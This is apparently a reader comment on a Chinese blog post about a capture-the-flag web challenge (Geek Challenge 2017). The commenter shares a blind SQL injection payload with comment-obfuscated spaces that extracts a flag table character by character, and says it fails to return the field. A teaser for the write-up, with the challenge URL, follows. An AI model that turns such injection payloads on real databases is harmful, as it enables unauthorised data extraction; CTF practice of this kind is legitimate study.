![240](https://cdn2.jianshu.io/assets/default_avatar/5-33d2da32c552b8be9a0548c7a4576607.jpg?imageMogr2/auto-orient/strip|imageView2/1/w/240/h/240)
IP属地:山东
同用的这个,但是跑不出字段,不知道为什么
payload = 'and/**/IF((mid((SELECT/**/*/**/from/**/f1ag_1s_h3re/**/limit/**/1),1,%d)<>\'%s\'),1,(select/**/1/**/union/**/select/**/2));' % (i,(password+c))
[极客大挑战2017](Web)G胖万岁题目链接 : http://game.sycsec.com:2008/Steam/1.php?type=DESC 看到 URL 中的 DESC 参数联想到 SQL 语句中的 ...